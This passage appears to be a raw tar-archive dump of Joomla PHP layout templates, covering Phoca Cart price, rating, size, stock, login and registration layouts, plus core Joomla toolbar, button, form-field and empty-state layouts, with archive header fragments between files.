ph-price-discount"><?php echo
$d['priceitemsdiscountcart']['nettotxt']
?></div>
<div class="ph-price-netto ph-price-discount"><?php
echo $d['priceitemsdiscountcart']['nettoformat']
?></div>
<?php } ?>
<?php if ($d['priceitemsdiscountcart']['tax']
&& $d['priceitemsdiscountcart']['taxcalc'] >
0) { ?>
<div class="ph-tax-txt ph-price-discount"><?php echo
$d['priceitemsdiscountcart']['taxtxt']
?></div>
<div class="ph-tax ph-price-discount"><?php echo
$d['priceitemsdiscountcart']['taxformat']
?></div>
<?php } ?>
<?php if ($d['priceitemsdiscountcart']['brutto'])
{ ?>
<div class="ph-price-txt ph-price-brutto-txt
ph-price-discount"><?php echo
$d['priceitemsdiscountcart']['bruttotxt']
?></div>
<div class="ph-price-brutto ph-price-discount
ph-price-discount-cart"><?php echo
$d['priceitemsdiscountcart']['bruttoformat']
?></div>
<?php } ?>
<?php }?>
<?php if ($d['priceitems']['baseformat']) { ?>
<div class="ph-price-txt"><?php echo
JText::_('COM_PHOCACART_UNIT_PRICE') ?></div>
<div class="ph-price-base"><?php echo
$d['priceitems']['baseformat'] ?></div>
<?php } ?>
<div class="ph-cb"></div>
</div>
</div>
<div class="ph-cb"></div>
product_rating.php000064400000001347151165411770010316 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
if ((int)$d['display_star_rating'] > 0 &&
$d['rating'] > 0) {
?><div class="ph-stars-box"><span
class="ph-stars"><span style="width:<?php echo
((int)$d['rating'] * (int)$d['size'])
?>px;"></span></span></div><?php
} else if ($d['display_star_rating'] == 2) {
?><div class="ph-stars-box"><span
class="ph-stars"><span style="width:
0px;"></span></span></div><?php
}
?>product_size.php000064400000004274151165411770010006 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
$size = new PhocacartSize();
// Size
$length = $size->getSizeFormat($d['length']);
$width = $size->getSizeFormat($d['width']);
$height = $size->getSizeFormat($d['height']);
echo '<div class="ph-cb"></div>';
if ($length || $width || $height ) {
// echo '<h4 class="ph-header-size">' .
JText::_('COM_PHOCACART_HEADER_SIZE') . '</h4>';
echo '<div class="ph-item-size-box">';
if ($length) {
echo '<div class="ph-item-length-txt">' .
JText::_('COM_PHOCACART_LENGTH') . ':</div>';
echo '<div class="ph-item-length">' .
$length . '</div>';
}
if ($width) {
echo '<div class="ph-item-width-txt">' .
JText::_('COM_PHOCACART_WIDTH') . ':</div>';
echo '<div class="ph-item-width">' .
$width . '</div>';
}
if ($height) {
echo '<div class="ph-item-height-txt">' .
JText::_('COM_PHOCACART_HEIGHT') . ':</div>';
echo '<div class="ph-item-height">' .
$height . '</div>';
}
echo '</div>';
}
// Weight
$weight = $size->getSizeFormat($d['weight'],
'weight');
if ($weight) {
// echo '<h4 class="ph-header-size">' .
JText::_('COM_PHOCACART_HEADER_WEIGHT') .
'</h4>';
echo '<div class="ph-item-size-box">';
echo '<div class="ph-item-weight-txt">' .
JText::_('COM_PHOCACART_WEIGHT') . ':</div>';
echo '<div class="ph-item-weight">' . $weight
. '</div>';
echo '</div>';
}
// Volume
$volume = $size->getSizeFormat($d['volume'],
'volume');
if ($volume) {
// echo '<h4 class="ph-header-size">' .
JText::_('COM_PHOCACART_HEADER_VOLUME') .
'</h4>';
echo '<div class="ph-item-size-box">';
echo '<div class="ph-item-volume-txt">' .
JText::_('COM_PHOCACART_VOLUME') . ':</div>';
echo '<div class="ph-item-volume">' . $volume
. '</div>';
echo '</div>';
}
echo '<div class="ph-cb"></div>';
?>
product_stock.php000064400000001313151165411770010146 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$d = $displayData;
?>
<div id="phItemStockBox<?php echo $d['typeview'] .
(int)$d['product_id']; ?>">
<div class="<?php echo $d['class']; ?>">
<div class="ph-stock-txt"><?php echo
JText::_('COM_PHOCACART_AVAILABILITY'); ?>:</div>
<div class="ph-stock"><?php echo
JText::_($d['stock_status_output']); ?></div>
</div>
</div>
<div class="ph-cb"></div>
user_login.php000064400000006004151165411770007433 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
Joomla\CMS\HTML\HTMLHelper::_('behavior.keepalive');
Joomla\CMS\HTML\HTMLHelper::_('bootstrap.tooltip');
require_once
JPATH_SITE.'/components/com_users/helpers/route.php';
jimport( 'joomla.application.module.helper' );
$module = JModuleHelper::getModule('mod_login');
$mP = new JRegistry();
$mP->loadString($module->params);
$lang = JFactory::getLanguage();
$lang->load('mod_login');
$d = $displayData;
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_LOGIN').'</div>'.
"\n";
echo '<form action="'.JRoute::_('index.php',
true, $mP->get('usesecure')).'"
method="post" id="ph-login-form"
class="form-inline" role="form">';
echo '<div id="ph-form-login-username"
class="'.$d['s']['c']['control-group.form_inline'].'">'.
"\n";
echo '<div
class="'.$d['s']['c']['form-group'].'">'.
"\n";
echo '<label class="sr-only"
for="modlgn-username">'.JText::_('MOD_LOGIN_VALUE_USERNAME')
.'</label>'. "\n";
echo '<input id="ph-modlgn-username"
type="text" name="username"
class="form-control" tabindex="0"
placeholder="'.JText::_('MOD_LOGIN_VALUE_USERNAME')
.'" />'. "\n";
echo ' </div>'. "\n";
echo ' <div
class="'.$d['s']['c']['form-group'].'">'.
"\n";
echo '<label class="sr-only"
for="modlgn-passwd">'.JText::_('JGLOBAL_PASSWORD')
.'</label>'. "\n";
echo '<input id="ph-modlgn-passwd"
type="password" name="password"
class="form-control" tabindex="0" size="18"
placeholder="'.JText::_('JGLOBAL_PASSWORD')
.'" />'. "\n";
echo ' </div>'. "\n";
if (JPluginHelper::isEnabled('system', 'remember')) {
echo '<div id="ph-form-login-remember"
class="checkbox">'. "\n";
echo '<label for="modlgn-remember"
class="control-label">'.
JText::_('MOD_LOGIN_REMEMBER_ME') .'</label> <input
id="modlgn-remember" type="checkbox"
name="remember" class="inputbox"
value="yes"/>'. "\n";
echo '</div>'. "\n";
}
echo '<button type="submit" tabindex="0"
name="Submit"
class="'.$d['s']['c']['btn.btn-primary'].'
ph-btn">'. JText::_('JLOGIN')
.'</button>'. "\n";
echo '</div>'. "\n";// end form inline
echo '<ul class="unstyled ph-li-inline">'.
"\n";
echo '<li><a
href="'.JRoute::_('index.php?option=com_users&view=remind').'">'.JText::_('MOD_LOGIN_FORGOT_YOUR_USERNAME').'</a></li>'.
"\n";
echo '<li><a
href="'.JRoute::_('index.php?option=com_users&view=reset').'">'.JText::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD').'</a></li>'.
"\n";
echo '</ul>'. "\n";
echo '<div class="ph-cb"></div>';
echo '<input type="hidden" name="option"
value="com_users" />'. "\n";
echo '<input type="hidden" name="task"
value="user.login" />'. "\n";
echo '<input type="hidden" name="return"
value="'.$d['t']['actionbase64'].'"
/>'. "\n";
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
?>
user_register.php000064400000002721151165411770010151 0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
Joomla\CMS\HTML\HTMLHelper::_('behavior.keepalive');
Joomla\CMS\HTML\HTMLHelper::_('bootstrap.tooltip');
require_once
JPATH_SITE.'/components/com_users/helpers/route.php';
jimport( 'joomla.application.module.helper' );
$module = JModuleHelper::getModule('mod_login');
$mP = new JRegistry();
$mP->loadString($module->params);
$lang = JFactory::getLanguage();
$lang->load('mod_login');
$d = $displayData;
$usersConfig = JComponentHelper::getParams('com_users');
//echo '<ul class="unstyled">'. "\n";
if ($usersConfig->get('allowUserRegistration')) {
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_REGISTER').'</div>'.
"\n";
//echo '<li><a href="'.
JRoute::_('index.php?option=com_users&view=registration').'">'.JText::_('MOD_LOGIN_REGISTER').'<span
class="icon-arrow-right"></span></a></li>'.
"\n";
echo '<a
class="'.$d['s']['c']['btn.btn-primary.btn-sm'].'
ph-btn ph-checkout-btn-login" href="'.
JRoute::_('index.php?option=com_users&view=registration').'"><span
class="'.$d['s']['i']['user'].'"></span>
'.JText::_('MOD_LOGIN_REGISTER').'</a>'.
"\n";
}
//echo '</ul>'. "\n";
?>
toolbar/deletemedia.php000064400000001651151166265340011175
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$title = JText::_('JTOOLBAR_DELETE');
JText::script('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST');
?>
<script type="text/javascript">
(function($){
// if any media is selected then only allow to submit otherwise show
message
deleteMedia = function(){
if (
$('#folderframe').contents().find('input:checked[name="rm[]"]').length
== 0){
alert(Joomla.JText._('JLIB_HTML_PLEASE_MAKE_A_SELECTION_FROM_THE_LIST'));
return false;
}
MediaManager.submit('folder.delete');
};
})(jQuery);
</script>
<button onclick="deleteMedia()" class="btn
btn-small">
<span class="icon-remove" title="<?php echo $title;
?>"></span> <?php echo $title; ?>
</button>
toolbar/newfolder.php000064400000000776151166265340010727 0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$title = JText::_('COM_MEDIA_CREATE_NEW_FOLDER');
?>
<button data-toggle="collapse"
data-target="#collapseFolder" class="btn btn-small">
<span class="icon-folder" title="<?php echo $title;
?>"></span> <?php echo $title; ?>
</button>
toolbar/uploadmedia.php000064400000001007151166265340011212
0ustar00<?php
/**
* @package Joomla.Administrator
* @subpackage com_media
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
$title = JText::_('JTOOLBAR_UPLOAD');
?>
<button data-toggle="collapse"
data-target="#collapseUpload" class="btn btn-small
btn-success">
<span class="icon-plus icon-white" title="<?php echo
$title; ?>"></span> <?php echo $title; ?>
</button>
joomla/form/field/radio/switcher.php000064400000007315151166460110013521
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
extract($displayData);
/**
* Layout variables
* -----------------
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to.
<fields> section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple
values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate
elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $options Options available for this field.
* @var string $dataAttribute Miscellaneous data attributes
preprocessed for HTML output
* @var array $dataAttributes Miscellaneous data attributes for eg,
data-*.
*/
// If there are no options don't render anything
if (empty($options)) {
return '';
}
// Load the css files
Factory::getApplication()->getDocument()->getWebAssetManager()->useStyle('switcher');
/**
* The format of the input tag to be filled in using sprintf.
* %1 - id
* %2 - name
* %3 - value
* %4 = any other attributes
*/
$input = '<input type="radio" id="%1$s"
name="%2$s" value="%3$s" %4$s>';
$attr = 'id="' . $id . '"';
$attr .= $onchange ? ' onchange="' . $onchange .
'"' : '';
$attr .= $dataAttribute;
?>
<fieldset <?php echo $attr; ?>>
<legend class="visually-hidden">
<?php echo $label; ?>
</legend>
<div class="switcher<?php echo ($readonly || $disabled ?
' disabled' : ''); ?>">
<?php foreach ($options as $i => $option) : ?>
<?php
// False value casting as string returns an empty string so assign
it 0
if (empty($value) && $option->value == '0') {
$value = '0';
}
// Initialize some option attributes.
$optionValue = (string) $option->value;
$optionId = $id . $i;
$attributes = $optionValue == $value ? 'checked
class="active ' . $class . '"' : ($class ?
'class="' . $class . '"' : '');
$attributes .= $optionValue != $value && $readonly ||
$disabled ? ' disabled' : '';
?>
<?php echo sprintf($input, $optionId, $name,
$this->escape($optionValue), $attributes); ?>
<?php echo '<label for="' . $optionId .
'">' . $option->text . '</label>';
?>
<?php endforeach; ?>
<span class="toggle-outside"><span
class="toggle-inside"></span></span>
</div>
</fieldset>
joomla/html/image.php000064400000002420151166460110010563 0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
/**
* Layout variables
* -----------------
* @var array $displayData Array with all the given attributes for the
image element.
* Eg: src, class, alt, width, height, loading,
decoding, style, data-*
* Note: only the alt and src attributes are
escaped by default!
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\Utilities\ArrayHelper;
$img = HTMLHelper::_('cleanImageURL',
$displayData['src']);
$displayData['src'] = $this->escape($img->url);
if (isset($displayData['alt'])) {
if ($displayData['alt'] === false) {
unset($displayData['alt']);
} else {
$displayData['alt'] =
$this->escape($displayData['alt']);
}
}
if ($img->attributes['width'] > 0 &&
$img->attributes['height'] > 0) {
$displayData['width'] =
$img->attributes['width'];
$displayData['height'] =
$img->attributes['height'];
if (empty($displayData['loading'])) {
$displayData['loading'] = 'lazy';
}
}
echo '<img ' . ArrayHelper::toString($displayData) .
'>';
joomla/edit/admin_modules.php000064400000002377151166615560012330
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
$app = Factory::getApplication();
$form = $displayData->getForm();
$input = $app->getInput();
$fields = $displayData->get('fields') ?: [
['parent', 'parent_id'],
['published', 'state', 'enabled'],
['category', 'catid'],
'featured',
'sticky',
'access',
'language',
'tags',
'note',
'version_note',
];
$hiddenFields = $displayData->get('hidden_fields') ?: [];
if (!ModuleHelper::isAdminMultilang()) {
$hiddenFields[] = 'language';
$form->setFieldAttribute('language', 'default',
'*');
}
$html = [];
$html[] = '<fieldset class="form-vertical">';
foreach ($fields as $field) {
foreach ((array) $field as $f) {
if ($form->getField($f)) {
if (in_array($f, $hiddenFields)) {
$form->setFieldAttribute($f, 'type',
'hidden');
}
$html[] = $form->renderField($f);
break;
}
}
}
$html[] = '</fieldset>';
echo implode('', $html);
joomla/content/emptystate.php000064400000004610151166615560012424
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
$textPrefix = $displayData['textPrefix'] ?? '';
if (!$textPrefix) {
$textPrefix =
strtoupper(Factory::getApplication()->getInput()->get('option'));
}
$formURL = $displayData['formURL'] ?? '';
$createURL = $displayData['createURL'] ?? '';
$helpURL = $displayData['helpURL'] ?? '';
$title = $displayData['title'] ?? Text::_($textPrefix .
'_EMPTYSTATE_TITLE');
$content = $displayData['content'] ?? Text::_($textPrefix .
'_EMPTYSTATE_CONTENT');
$icon = $displayData['icon'] ?? 'icon-copy
article';
$append = $displayData['formAppend'] ?? '';
$btnadd = $displayData['btnadd'] ?? Text::_($textPrefix .
'_EMPTYSTATE_BUTTON_ADD');
?>
<form action="<?php echo Route::_($formURL); ?>"
method="post" name="adminForm"
id="adminForm">
<div class="px-4 py-5 my-5 text-center">
<span class="fa-8x mb-4 <?php echo $icon; ?>"
aria-hidden="true"></span>
<h1 class="display-5 fw-bold"><?php echo $title;
?></h1>
<div class="col-lg-6 mx-auto">
<p class="lead mb-4">
<?php echo $content; ?>
</p>
<div class="d-grid gap-2 d-sm-flex
justify-content-sm-center">
<?php if ($createURL &&
Factory::getApplication()->getInput()->get('tmpl') !==
'component') : ?>
<a href="<?php echo Route::_($createURL);
?>"
id="confirmButton" class="btn
btn-primary btn-lg px-4 me-sm-3 emptystate-btnadd"><?php echo
$btnadd; ?></a>
<?php endif; ?>
<?php if ($helpURL) : ?>
<a href="<?php echo $helpURL; ?>"
target="_blank"
class="btn btn-outline-secondary btn-lg
px-4"><?php echo Text::_('JGLOBAL_LEARN_MORE');
?></a>
<?php endif; ?>
</div>
</div>
</div>
<?php
// Allow appending any modals (Eg: Bulk Import on com_redirect).
echo $append;
?>
<input type="hidden" name="task"
value="">
<input type="hidden" name="boxchecked"
value="0">
<?php echo HTMLHelper::_('form.token'); ?>
</form>
joomla/content/emptystate_module.php000064400000002211151166615560013764
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2021 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
$icon = $displayData['icon'] ?? 'icon-copy article';
$textPrefix = $displayData['textPrefix'] ?? '';
$textSuffix = $displayData['textSuffix'] ?? '';
$title = $displayData['title'] ?? '';
$componentLangString = $textPrefix . '_EMPTYSTATE_TITLE' .
$textSuffix;
$moduleLangString = $textPrefix . '_EMPTYSTATE_MODULE_TITLE' .
$textSuffix;
// Did we have a definitive title provided to the view? If not, let's
find one!
if (!$title) {
// Can we find a *_EMPTYSTATE_MODULE_TITLE translation, Else use the
components *_EMPTYSTATE_TITLE string
$title =
Factory::getApplication()->getLanguage()->hasKey($moduleLangString) ?
$moduleLangString : $componentLangString;
}
?>
<div class="mb-4">
<p class="fw-bold text-center text-muted">
<span class="<?php echo $icon; ?>"
aria-hidden="true"></span> <?php echo
Text::_($title); ?>
</p>
</div>
joomla/toolbar/inlinehelp.php000064400000000734151166615570012350
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2022 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Layout\LayoutHelper;
Factory::getApplication()->getDocument()
->getWebAssetManager()->useScript('inlinehelp');
echo LayoutHelper::render('joomla.toolbar.standard',
$displayData);
joomla/toolbar/basic.php000064400000005367151166615570011311
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var int $id
* @var string $onclick
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
* @var string $task The task which should be executed
* @var bool $listCheck Boolean, whether selection from a list
is needed
* @var string $form CSS selector for a target form
* @var bool $formValidation Whether the form need to be validated
before run the task
* @var string $dropdownItems The dropdown HTML
* @var string $hasButtons
* @var string $caretClass
* @var string $toggleSplit
*/
Factory::getApplication()->getDocument()->getWebAssetManager()
->useScript('core')
->useScript('webcomponent.toolbar-button');
$tagName = $tagName ?? 'button';
$taskAttr = '';
$title = '';
$idAttr = !empty($id) ? ' id="' . $id .
'"' : '';
$listAttr = !empty($listCheck) ? ' list-selection' :
'';
$formAttr = !empty($form) ? ' form="' .
$this->escape($form) . '"' : '';
$validate = !empty($formValidation) ? ' form-validation' :
'';
$msgAttr = !empty($message) ? ' confirm-message="' .
$this->escape($message) . '"' : '';
if ($msgAttr) {
Text::script('WARNING');
Text::script('JYES');
Text::script('JNO');
}
if ($id === 'toolbar-help') {
$title = ' title="' .
$this->escape(Text::_('JGLOBAL_OPENS_IN_A_NEW_WINDOW')) .
'"';
}
if (!empty($task)) {
$taskAttr = ' task="' . $task . '"';
} elseif (!empty($onclick)) {
$htmlAttributes .= ' onclick="' . $onclick .
'"';
}
$direction = Factory::getLanguage()->isRtl() ?
'dropdown-menu-end' : '';
?>
<joomla-toolbar-button <?php echo $idAttr . $taskAttr . $listAttr .
$formAttr . $validate . $msgAttr; ?>>
<<?php echo $tagName; ?>
class="<?php echo $btnClass ?? ''; ?>"
<?php echo $htmlAttributes ?? ''; ?>
<?php echo $title; ?>
>
<span class="<?php echo trim($class ?? '');
?>" aria-hidden="true"></span>
<?php echo $text ?? ''; ?>
</<?php echo $tagName; ?>>
<?php // If there is no toggle split then ensure the drop down items are
rendered inside the custom element ?>
<?php if (!($toggleSplit ?? true) && isset($dropdownItems)
&& trim($dropdownItems) !== '') : ?>
<div class="dropdown-menu<?php echo ' ' .
$direction; ?>">
<?php echo $dropdownItems; ?>
</div>
<?php endif; ?>
</joomla-toolbar-button>
joomla/toolbar/dropdown.php000064400000004422151166615570012053
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $id
* @var string $onclick
* @var string $class
* @var string $text
* @var string $btnClass
* @var string $tagName
* @var string $htmlAttributes
* @var string $hasButtons
* @var string $button
* @var string $dropdownItems
* @var string $caretClass
* @var string $toggleSplit
*/
$direction = Factory::getLanguage()->isRtl() ?
'dropdown-menu-end' : '';
/**
* The dropdown class is also injected on the button from
\Joomla\CMS\Toolbar\ToolbarButton::prepareOptions() and therefore we need
the dropdown script whether we
* are in split toggle mode or not
*/
/** @var Joomla\CMS\WebAsset\WebAssetManager $wa */
$wa = Factory::getApplication()->getDocument()->getWebAssetManager();
$wa->useScript('bootstrap.dropdown');
?>
<?php if ($hasButtons && trim($button) !== '') : ?>
<?php // If there is a toggle split then render the items. Else
render the parent button which has the items in the custom element. ?>
<?php if ($toggleSplit ?? true) : ?>
<div id="<?php echo $id; ?>"
class="btn-group dropdown-<?php echo $name ?? '';
?>" role="group">
<button type="button" class="<?php echo
$caretClass ?? ''; ?> dropdown-toggle-split"
data-bs-toggle="dropdown"
data-bs-target=".dropdown-menu"
data-bs-display="static" aria-haspopup="true"
aria-expanded="false">
<span class="visually-hidden"><?php echo
Text::_('JGLOBAL_TOGGLE_DROPDOWN'); ?></span>
<span class="icon-chevron-down"
aria-hidden="true"></span>
</button>
<?php echo $button; ?>
<?php if (trim($dropdownItems) !== '') : ?>
<div class="dropdown-menu <?php echo $direction;
?>">
<?php echo $dropdownItems; ?>
</div>
<?php endif; ?>
</div>
<?php else : ?>
<?php echo $button; ?>
<?php endif; ?>
<?php endif; ?>
joomla/html/batch/workflowstage.php000064400000001515151166615640013476
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
?>
<label id="batch-workflowstage-lbl"
for="batch-workflowstage-id">
<?php echo
Text::_('JLIB_HTML_BATCH_WORKFLOW_STAGE_LABEL'); ?>
</label>
<?php
$attr = [
'id' => 'batch-workflowstage-id',
'group.label' => 'text',
'group.items' => null,
'list.attr' => [
'class' => 'form-select'
]
];
$groups = HTMLHelper::_('workflowstage.existing',
['title' =>
Text::_('JLIB_HTML_BATCH_WORKFLOW_STAGE_NOCHANGE')]);
echo HTMLHelper::_('select.groupedlist', $groups,
'batch[workflowstage_id]', $attr);
joomla/button/iconclass.php000064400000000602151166615660012042
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Layout\LayoutHelper;
$displayData['html'] = false;
echo LayoutHelper::render('joomla.icon.iconclass', $displayData);
joomla/button/action-button.php000064400000002700151166615660012653
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2017 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $icon
* @var string $title
* @var string $value
* @var string $task
* @var array $options
*/
Factory::getDocument()->getWebAssetManager()->useScript('list-view');
$disabled = !empty($options['disabled']);
$taskPrefix = $options['task_prefix'];
$checkboxName = $options['checkbox_name'];
$id = $options['id'];
$tipTitle = $options['tip_title'];
?>
<button type="button"
class="js-grid-item-action tbody-icon data-state-<?php echo
$this->escape($value ?? ''); ?>"
aria-labelledby="<?php echo $id; ?>"
<?php echo $disabled ? 'disabled' : ''; ?>
data-item-id="<?php echo $checkboxName . $this->escape($row
?? ''); ?>"
data-item-task="<?php echo $this->escape(isset($task) ?
$taskPrefix . $task : ''); ?>"
>
<span class="<?php echo $this->escape($icon ??
''); ?>" aria-hidden="true"></span>
</button>
<div id="<?php echo $id; ?>"
role="tooltip">
<?php echo HTMLHelper::_('tooltipText', $tipTitle ?:
$title, $title, 0, false); ?>
</div>
joomla/button/transition-button.php000064400000005142151166615660013573
0ustar00<?php
/**
* @package Joomla.Site
* @subpackage Layout
*
* @copyright (C) 2018 Open Source Matters, Inc.
<https://www.joomla.org>
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
extract($displayData, EXTR_OVERWRITE);
/**
* Layout variables
* -----------------
* @var string $icon
* @var string $title
* @var string $value
* @var string $task
* @var array $options
*/
$disabled = empty($options['transitions']) ||
!empty($options['disabled']);
$id = $options['id'];
$tipTitle = $options['tip_title'];
$tipContent = $options['tip_content'];
$checkboxName = $options['checkbox_name'];
$task = $options['task'];
?>
<button type="button" class="tbody-icon
data-state-<?php echo $this->escape($value ?? '');
?>"
aria-labelledby="<?php echo $id; ?>"
<?php echo $disabled ? 'disabled' : '';
?>
<?php if (!$disabled) : ?>
onclick="Joomla.toggleAllNextElements(this,
'd-none')"
<?php endif; ?>
>
<span class="<?php echo $this->escape($icon ??
''); ?>" aria-hidden="true"></span>
</button>
<div id="<?php echo $id; ?>"
role="tooltip">
<?php echo HTMLHelper::_('tooltipText', $tipTitle ?:
$title, $tipContent, 0, false); ?>
</div>
<?php if (!$disabled) : ?>
<div class="d-none">
<span class="visually-hidden">
<label for="transition-select_<?php echo (int) $row
?? ''; ?>">
<?php echo
Text::_('JWORKFLOW_EXECUTE_TRANSITION'); ?>
</label>
</span>
<?php
$default = [
HTMLHelper::_('select.option', '',
$this->escape($options['title'])),
HTMLHelper::_('select.option', '-1',
'--------', ['disable' => true]),
HTMLHelper::_('select.option',
'<OPTGROUP>',
Text::_('COM_CONTENT_RUN_TRANSITION')),
];
$transitions = array_merge($default,
$options['transitions'],
[HTMLHelper::_('select.option', '</OPTGROUP>')]);
$attribs = [
'id' => 'transition-select_'
. (int) $row ?? '',
'list.attr' => [
'class' => 'form-select
form-select-sm w-auto',
'onchange' =>
"this.form.transition_id.value=this.value;Joomla.listItemTask('"
. $checkboxName . $this->escape($row ?? '') . "',
'" . $task . "')"]
];
